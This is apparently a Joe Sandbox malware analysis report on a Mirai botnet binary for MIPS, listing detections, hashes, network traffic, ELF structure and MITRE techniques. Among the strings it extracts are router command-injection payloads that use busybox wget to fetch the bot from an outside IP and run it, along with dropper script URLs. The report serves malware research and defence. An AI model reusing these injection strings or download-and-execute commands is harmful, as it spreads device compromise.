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Linux Analysis Report
frosty.mips.elf

Overview

General Information

Sample name:	frosty.mips.elf
Analysis ID:	1587927
MD5:	5379e017c834c76f984e0566a11d5b74
SHA1:	a3d10ca5775b24fa6ae3a6501df78462244f4d9b
SHA256:	39a39a57fcb9e0149eb5dcc87414b69f7ca096da58fed9c6061ce15e8c0e5d46
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587927
Start date and time:	2025-01-10 19:30:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	frosty.mips.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://45.82.122.234/icy.sh
VT rate limit hit for: http://46.36.37.3/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$

Runtime Messages

Command:	/tmp/frosty.mips.elf
PID:	6244
Exit Code:	136
Exit Code Info:	SIGFPE (8) Floating-point exception
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 8 (Floating point exception) - core dumped

Process Tree

system is lnxubuntu20

frosty.mips.elf (PID: 6244, Parent: 6164, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/frosty.mips.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
frosty.mips.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6244.1.00007f138c400000.00007f138c413000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: frosty.mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: frosty.mips.elf	Virustotal: Detection: 61%			Perma Link
Source: frosty.mips.elf	ReversingLabs: Detection: 63%

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: frosty.mips.elf	String found in binary or memory: http://45.82.122.234/icy.sh
Source: frosty.mips.elf	String found in binary or memory: http://46.36.37.3/bins/frosty.mips
Source: frosty.mips.elf	String found in binary or memory: http://46.36.37.3/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
Source: frosty.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: frosty.mips.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.36.37.3/bins/frosty.mips+-O+/tmp/egg;sh+/tmp/egg`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.36.37.3/bins/frosty.mips+-O+/tmp/egg;sh+/tmp/egg`&ipv=0$
Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 46.36.37.3 -l /tmp/.frosty.mips -r /bins/frosty.mips; /bin/busybox chmod 777 * /tmp/.frosty.mips; /tmp/.frosty.mips huawei.selfrep)

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@0/0

Source: /tmp/frosty.mips.elf (PID: 6244)

Queries kernel information via 'uname':

Jump to behavior

Source: frosty.mips.elf, 6244.1.00005570a5f00000.00005570a5f87000.rw-.sdmp	Binary or memory string: pU!/etc/qemu-binfmt/mips
Source: frosty.mips.elf, 6244.1.00007ffefb925000.00007ffefb946000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/frosty.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/frosty.mips.elf
Source: frosty.mips.elf, 6244.1.00005570a5f00000.00005570a5f87000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: frosty.mips.elf, 6244.1.00007ffefb925000.00007ffefb946000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: frosty.mips.elf, 6244.1.00007ffefb925000.00007ffefb946000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 8 (Floating point exception) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: frosty.mips.elf, type: SAMPLE
Source: Yara match	File source: 6244.1.00007f138c400000.00007f138c413000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: frosty.mips.elf, type: SAMPLE
Source: Yara match	File source: 6244.1.00007f138c400000.00007f138c413000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
frosty.mips.elf	62%	Virustotal		Browse
frosty.mips.elf	63%	ReversingLabs	Linux.Trojan.Mirai
frosty.mips.elf	100%	Avira	EXP/ELF.Agent.J.8

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://45.82.122.234/icy.sh	frosty.mips.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	frosty.mips.elf	false	high
http://46.36.37.3/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	frosty.mips.elf	false	unknown
http://46.36.37.3/bins/frosty.mips	frosty.mips.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	frosty.mips.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	frosty.m68k.elf	Get hash	malicious	Mirai	Browse
	Space.arc.elf	Get hash	malicious	Mirai	Browse
	main_arm7.elf	Get hash	malicious	Mirai	Browse
	main_sh4.elf	Get hash	malicious	Mirai	Browse
	Space.spc.elf	Get hash	malicious	Mirai	Browse
	Space.ppc.elf	Get hash	malicious	Unknown	Browse
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse
	Aqua.sh4.elf	Get hash	malicious	Mirai	Browse
	vevhea4.elf	Get hash	malicious	Unknown	Browse
91.189.91.42	frosty.m68k.elf	Get hash	malicious	Mirai	Browse
	Space.arc.elf	Get hash	malicious	Mirai	Browse
	main_arm7.elf	Get hash	malicious	Mirai	Browse
	main_sh4.elf	Get hash	malicious	Mirai	Browse
	Space.spc.elf	Get hash	malicious	Mirai	Browse
	Space.ppc.elf	Get hash	malicious	Unknown	Browse
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse
	Aqua.sh4.elf	Get hash	malicious	Mirai	Browse
	vevhea4.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	frosty.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	main_sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.ppc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Aqua.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
CANONICAL-ASGB	frosty.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main_arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.arm6.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	main_sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.ppc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	Aqua.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
INIT7CH	frosty.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main_arm7.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main_sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.spc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.ppc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	Aqua.x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Space.mpsl.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	Aqua.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	vevhea4.elf	Get hash	malicious	Unknown	Browse	109.202.202.202

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.6158984900734055
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	frosty.mips.elf
File size:	80'336 bytes
MD5:	5379e017c834c76f984e0566a11d5b74
SHA1:	a3d10ca5775b24fa6ae3a6501df78462244f4d9b
SHA256:	39a39a57fcb9e0149eb5dcc87414b69f7ca096da58fed9c6061ce15e8c0e5d46
SHA512:	4c7815606d8e67a5aac80ff8ddd4cecf69f6dab7fab13c4dd2726aeea818bcdb851494b3a41c8f87abd391f1ba5cba735d1ab3d4630a7806655eb064b6b7f228
SSDEEP:	1536:H+msc7njW8qTeThO6xvguDPgbjsjZwiTYJ9sriG8BhxcNxKnu0Eo:H+mZ7nj/qT0dgupYLsriG8BMju
TLSH:	7773A54D7E318FBCFBAD423547778B21575933AA23E1C284D19CE9025EB024D742EBA9
File Content Preview:	.ELF.....................@.`...4..7......4. ...(.............@...@....-...-...............0..E0..E0....<............dt.Q............................<...'..\|...!'.......................<...'..X...!... ....'9... ......................<...'..(...!........'9.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79776
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11090	0x0	0x6	AX	16
.fini	PROGBITS	0x4111b0	0x111b0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x411210	0x11210	0x1be0	0x0	0x2	A	16
.ctors	PROGBITS	0x453000	0x13000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x453008	0x13008	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453014	0x13014	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x453020	0x13020	0x2f8	0x0	0x3	WA	16
.got	PROGBITS	0x453320	0x13320	0x41c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45373c	0x1373c	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453760	0x1373c	0x528	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x71a	0x1373c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1373c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x12df0	0x12df0	5.6684	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13000	0x453000	0x453000	0x73c	0xc88	3.8690	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:31:42.997771025 CET	43928	443	192.168.2.23	91.189.91.42
Jan 10, 2025 19:31:48.628947973 CET	42836	443	192.168.2.23	91.189.91.43
Jan 10, 2025 19:31:49.908680916 CET	42516	80	192.168.2.23	109.202.202.202
Jan 10, 2025 19:32:03.218959093 CET	43928	443	192.168.2.23	91.189.91.42
Jan 10, 2025 19:32:15.505155087 CET	42836	443	192.168.2.23	91.189.91.43
Jan 10, 2025 19:32:19.600636959 CET	42516	80	192.168.2.23	109.202.202.202
Jan 10, 2025 19:32:44.173338890 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: frosty.mips.elf PID: 6244, Parent PID: 6164

General

Start time (UTC):	18:31:42
Start date (UTC):	10/01/2025
Path:	/tmp/frosty.mips.elf
Arguments:	/tmp/frosty.mips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report frosty.mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: frosty.mips.elf PID: 6244, Parent PID: 6164

General

Chronological Activities

Linux Analysis Report
frosty.mips.elf